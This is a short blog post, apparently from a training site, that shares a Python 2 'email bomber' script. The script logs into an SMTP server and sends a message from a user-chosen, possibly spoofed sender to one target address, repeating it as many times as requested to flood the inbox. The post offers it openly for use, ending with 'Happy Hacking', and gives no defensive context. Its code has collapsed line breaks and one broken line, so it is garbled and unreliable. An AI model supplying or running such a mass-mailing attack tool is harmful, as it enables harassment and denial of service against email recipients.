Ready to Start Your Career?

Email Bomber Script Using Python

Priyank Gada's profile image

By: Priyank Gada

November 9, 2016

I'd like to share this python script email bomber with you! 

import smtplib#for SMTP Protocolimport mimetypes#converts URLimport sys#for Systemimport time#timefrom email.MIMEText import MIMETextclass SMTP(object):def title(self):print " PYTHON MAIL BOMBER IS WORKING :) "


def SMTPconnect(self):print "We are in the SMTPconnect"#list of SMTP server -"nEnter SMTP server: ")self.smtpport=input("Enter SMTP port (Usualy 25 or 465): ")try:self.mailServer = smtplib.SMTP(self.smtpserver,self.smtpport)except IOError, e:print 'Error: %s' %(e)time.sleep(5)sys.exit(1)self.mailServer.starttls()self.username=raw_input("nEnter Username: ")#Usernameself.password=raw_input("Enter Password: ")#passwordtry:self.mailServer.login(self.username,self.password)except BaseException, e:print 'Error: %s' % (e)time.sleep(3)sys.exit(1)def buildemail(self):print " We are inside Buildemail "print "tBuilding message part"self.From = raw_input("nFrom: ")# Fromself.To = raw_input("nTo: ")# TOself.Subject = raw_input("nSubject: ")#Subjectself.Message = raw_input("nMessage: ")#messagemensaje = MIMEText(self.Message)mensaje['From']=self.Frommensaje['To']=self.Tomensaje['Subject']=self.Subjectself.ammount = input("How Many times would you like to send email: ")x = 0while x < self.ammount:self.mailServer.sendmail(self.From, self.To, mensaje.as_string())x+=1print "Send %d messages to %s" %(self.ammount,self.To)time.sleep(7)print "Thnx for using Mycode!n"print " Subscribe :) "if __name__ == '__main__':s = SMTP()s.title()s.SMTPconnect()s.buildemail()

End :) Happy Hacking`
Schedule Demo